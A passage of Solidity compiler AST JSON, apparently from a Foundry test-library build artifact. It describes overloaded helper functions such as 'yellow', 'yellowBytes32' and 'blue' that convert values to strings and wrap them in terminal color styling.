memory"}},"functionReturnParameters":9703,"id":9710,"nodeType":"Return","src":"2930:32:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"yellow","nameLocation":"2862:6:9","parameters":{"id":9700,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9699,"mutability":"mutable","name":"self","nameLocation":"2876:4:9","nodeType":"VariableDeclaration","scope":9712,"src":"2869:11:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":9698,"name":"int256","nodeType":"ElementaryTypeName","src":"2869:6:9","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"2868:13:9"},"returnParameters":{"id":9703,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9702,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9712,"src":"2905:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9701,"name":"string","nodeType":"ElementaryTypeName","src":"2905:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2904:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9727,"nodeType":"FunctionDefinition","src":"2975:117:9","nodes":[],"body":{"id":9726,"nodeType":"Block","src":"3043:49:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9722,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9714,"src":"3079:4:9","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":9720,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"3067:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9721,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3070:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13409,"src":"3067:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_address_$returns$_t_string_memory_ptr_$","typeString":"function (address) pure external returns (string memory)"}},"id":9723,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3067:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9719,"name":"yellow","nodeType":"Identifier","overloadedDeclarations":[9682,9697,9712,9727,9742],"referencedDeclaration":9682,"src":"3060:6:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9724,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3060:25:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9718,"id":9725,"nodeType":"Return","src":"3053:32:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"yellow","nameLocation":"2984:6:9","parameters":{"id":9715,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9714,"mutability":"mutable","name":"self","nameLocation":"2999:4:9","nodeType":"VariableDeclaration","scope":9727,"src":"2991:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":9713,"name":"address","nodeType":"ElementaryTypeName","src":"2991:7:9","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2990:14:9"},"returnParameters":{"id":9718,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9717,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9727,"src":"3028:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9716,"name":"string","nodeType":"ElementaryTypeName","src":"3028:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3027:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9742,"nodeType":"FunctionDefinition","src":"3098:114:9","nodes":[],"body":{"id":9741,"nodeType":"Block","src":"3163:49:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9737,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9729,"src":"3199:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":9735,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"3187:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9736,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3190:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13433,"src":"3187:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$_t_string_memory_ptr_$","typeString":"function (bool) pure external returns (string memory)"}},"id":9738,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3187:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9734,"name":"yellow","nodeType":"Identifier","overloadedDeclarations":[9682,9697,9712,9727,9742],"referencedDeclaration":9682,"src":"3180:6:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9739,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3180:25:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9733,"id":9740,"nodeType":"Return","src":"3173:32:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"yellow","nameLocation":"3107:6:9","parameters":{"id":9730,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9729,"mutability":"mutable","name":"self","nameLocation":"3119:4:9","nodeType":"VariableDeclaration","scope":9742,"src":"3114:9:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":9728,"name":"bool","nodeType":"ElementaryTypeName","src":"3114:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"3113:11:9"},"returnParameters":{"id":9733,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9732,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9742,"src":"3148:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9731,"name":"string","nodeType":"ElementaryTypeName","src":"3148:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3147:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9757,"nodeType":"FunctionDefinition","src":"3218:127:9","nodes":[],"body":{"id":9756,"nodeType":"Block","src":"3296:49:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9752,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9744,"src":"3332:4:9","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":9750,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"3320:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9751,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3323:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13417,"src":"3320:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (bytes memory) pure external returns (string memory)"}},"id":9753,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3320:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9749,"name":"yellow","nodeType":"Identifier","overloadedDeclarations":[9682,9697,9712,9727,9742],"referencedDeclaration":9682,"src":"3313:6:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9754,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3313:25:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9748,"id":9755,"nodeType":"Return","src":"3306:32:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"yellowBytes","nameLocation":"3227:11:9","parameters":{"id":9745,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9744,"mutability":"mutable","name":"self","nameLocation":"3252:4:9","nodeType":"VariableDeclaration","scope":9757,"src":"3239:17:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":9743,"name":"bytes","nodeType":"ElementaryTypeName","src":"3239:5:9","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"3238:19:9"},"returnParameters":{"id":9748,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9747,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9757,"src":"3281:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9746,"name":"string","nodeType":"ElementaryTypeName","src":"3281:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3280:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9772,"nodeType":"FunctionDefinition","src":"3351:124:9","nodes":[],"body":{"id":9771,"nodeType":"Block","src":"3426:49:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9767,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9759,"src":"3462:4:9","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":9765,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"3450:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9766,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3453:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13425,"src":"3450:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes32_$returns$_t_string_memory_ptr_$","typeString":"function (bytes32) pure external returns (string memory)"}},"id":9768,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3450:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9764,"name":"yellow","nodeType":"Identifier","overloadedDeclarations":[9682,9697,9712,9727,9742],"referencedDeclaration":9682,"src":"3443:6:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9769,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3443:25:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9763,"id":9770,"nodeType":"Return","src":"3436:32:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"yellowBytes32","nameLocation":"3360:13:9","parameters":{"id":9760,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9759,"mutability":"mutable","name":"self","nameLocation":"3382:4:9","nodeType":"VariableDeclaration","scope":9772,"src":"3374:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":9758,"name":"bytes32","nodeType":"ElementaryTypeName","src":"3374:7:9","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"3373:14:9"},"returnParameters":{"id":9763,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9762,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9772,"src":"3411:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9761,"name":"string","nodeType":"ElementaryTypeName","src":"3411:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3410:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9785,"nodeType":"FunctionDefinition","src":"3481:119:9","nodes":[],"body":{"id":9784,"nodeType":"Block","src":"3553:47:9","nodes":[],"statements":[{"expression":{"arguments":[{"id":9780,"name":"BLUE","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9419,"src":"3582:4:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":9781,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9774,"src":"3588:4:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9779,"name":"styleConcat","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9463,"src":"3570:11:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory) pure returns (string memory)"}},"id":9782,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3570:23:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9778,"id":9783,"nodeType":"Return","src":"3563:30:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"blue","nameLocation":"3490:4:9","parameters":{"id":9775,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9774,"mutability":"mutable","name":"self","nameLocation":"3509:4:9","nodeType":"VariableDeclaration","scope":9785,"src":"3495:18:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9773,"name":"string","nodeType":"ElementaryTypeName","src":"3495:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3494:20:9"},"returnParameters":{"id":9778,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9777,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9785,"src":"3538:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9776,"name":"string","nodeType":"ElementaryTypeName","src":"3538:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3537:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9800,"nodeType":"FunctionDefinition","src":"3606:113:9","nodes":[],"body":{"id":9799,"nodeType":"Block","src":"3672:47:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9795,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9787,"src":"3706:4:9","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":9793,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"3694:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9794,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3697:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13441,"src":"3694:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$returns$_t_string_memory_ptr_$","typeString":"function (uint256) pure external returns (string memory)"}},"id":9796,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3694:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9792,"name":"blue","nodeType":"Identifier","overloadedDeclarations":[9785,9800,9815,9830,9845],"referencedDeclaration":9785,"src":"3689:4:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9797,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3689:23:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9791,"id":9798,"nodeType":"Return","src":"3682:30:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"blue","nameLocation":"3615:4:9","parameters":{"id":9788,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9787,"mutability":"mutable","name":"self","nameLocation":"3628:4:9","nodeType":"VariableDeclaration","scope":9800,"src":"3620:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":9786,"name":"uint256","nodeType":"ElementaryTypeName","src":"3620:7:9","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"3619:14:9"},"returnParameters":{"id":9791,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9790,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9800,"src":"3657:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9789,"name":"string","nodeType":"ElementaryTypeName","src":"3657:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3656:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9815,"nodeType":"FunctionDefinition","src":"3725:112:9","nodes":[],"body":{"id":9814,"nodeType":"Block","src":"3790:47:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9810,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9802,"src":"3824:4:9","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":9808,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"3812:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9809,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3815:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13449,"src":"3812:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$returns$_t_string_memory_ptr_$","typeString":"function (int256) pure external returns (string memory)"}},"id":9811,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3812:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9807,"name":"blue","nodeType":"Identifier","overloadedDeclarations":[9785,9800,9815,9830,9845],"referencedDeclaration":9785,"src":"3807:4:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9812,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3807:23:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9806,"id":9813,"nodeType":"Return","src":"3800:30:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"blue","nameLocation":"3734:4:9","parameters":{"id":9803,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9802,"mutability":"mutable","name":"self","nameLocation":"3746:4:9","nodeType":"VariableDeclaration","scope":9815,"src":"3739:11:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":9801,"name":"int256","nodeType":"ElementaryTypeName","src":"3739:6:9","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"3738:13:9"},"returnParameters":{"id":9806,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9805,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9815,"src":"3775:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9804,"name":"string","nodeType":"ElementaryTypeName","src":"3775:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3774:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9830,"nodeType":"FunctionDefinition","src":"3843:113:9","nodes":[],"body":{"id":9829,"nodeType":"Block","src":"3909:47:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9825,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9817,"src":"3943:4:9","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":9823,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"3931:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9824,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3934:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13409,"src":"3931:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_address_$returns$_t_string_memory_ptr_$","typeString":"function (address) pure external returns (string memory)"}},"id":9826,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3931:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9822,"name":"blue","nodeType":"Identifier","overloadedDeclarations":[9785,9800,9815,9830,9845],"referencedDeclaration":9785,"src":"3926:4:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9827,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3926:23:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9821,"id":9828,"nodeType":"Return","src":"3919:30:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"blue","nameLocation":"3852:4:9","parameters":{"id":9818,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9817,"mutability":"mutable","name":"self","nameLocation":"3865:4:9","nodeType":"VariableDeclaration","scope":9830,"src":"3857:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":9816,"name":"address","nodeType":"ElementaryTypeName","src":"3857:7:9","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"3856:14:9"},"returnParameters":{"id":9821,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9820,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9830,"src":"3894:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9819,"name":"string","nodeType":"ElementaryTypeName","src":"3894:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3893:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9845,"nodeType":"FunctionDefinition","src":"3962:110:9","nodes":[],"body":{"id":9844,"nodeType":"Block","src":"4025:47:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9840,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9832,"src":"4059:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":9838,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"4047:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9839,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4050:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13433,"src":"4047:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$_t_string_memory_ptr_$","typeString":"function (bool) pure external returns (string memory)"}},"id":9841,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4047:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9837,"name":"blue","nodeType":"Identifier","overloadedDeclarations":[9785,9800,9815,9830,9845],"referencedDeclaration":9785,"src":"4042:4:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9842,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4042:23:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string 